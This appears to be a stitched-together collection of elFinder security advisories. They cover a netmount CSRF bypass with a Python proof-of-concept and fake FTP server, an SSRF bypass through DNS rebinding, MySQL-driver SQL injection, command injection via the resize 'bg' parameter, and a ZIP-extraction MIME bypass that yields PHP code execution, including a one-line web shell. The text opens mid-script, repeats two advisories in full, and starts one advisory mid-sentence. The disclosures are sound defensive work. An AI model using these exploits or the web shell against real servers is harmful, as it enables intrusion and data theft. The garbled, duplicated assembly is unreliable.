status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Description

A vulnerability in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows authenticated SQL injection through a crafted file hash passed via the target parameter.

The issue is caused by two behaviors working together:

1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier.
2. The decoded value is then used in MySQL driver queries, including cacheDir(), _joinPath(), _stat(), and _fopen().

Because the MySQL storage schema uses numeric id and parent_id values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Impact

An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to:

• disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata
• trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption

The severity of data exposure depends on the privileges granted to the configured MySQL account.

Severity

High
bg can be injected into shell command construction, leading to possible RCE in affected configurations.

Summary

elFinder contains a command injection vulnerability in the resize command.

The bg (background color) parameter is accepted from user input and passed through image resize/rotate processing. In configurations that use the ImageMagick CLI backend, this value is incorporated into shell command strings without sufficient escaping. An attacker able to invoke the resize command with a crafted bg value may achieve arbitrary command execution as the web server process user.

This issue affects configurations where:

• the resize command is enabled,
• image processing uses the ImageMagick CLI backend, and
• the vulnerable code paths are reachable.

Impact

An attacker may execute arbitrary OS commands with the privileges of the web server process.

Impact depends on server configuration, enabled commands, backend image library selection, and surrounding deployment controls.

Affected versions

Affected: all versions before 2.1.66 Patched: 2.1.67

Details

The vulnerable flow is:

1. The resize command accepts the bg parameter from the request.
2. The parameter is passed into volume resize handling.
3. In ImageMagick CLI code paths, the value is interpolated into shell command strings.
4. Because the value is not safely constrained and escaped, shell metacharacters may be injected.

The issue was addressed by:

• validating bg against a strict allowlist of supported color formats, and
• safely escaping the value before it is passed into CLI command construction.

Workarounds

Possible mitigations for users who cannot upgrade immediately:

• disable the resize command if not required,
• avoid using the ImageMagick CLI backend for image processing,
• restrict access to trusted users only.

Upgrading to the patched release is strongly recommended.

Credits

Thanks to Lin, WeiChi and Drew Webber for the responsible disclosure.

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

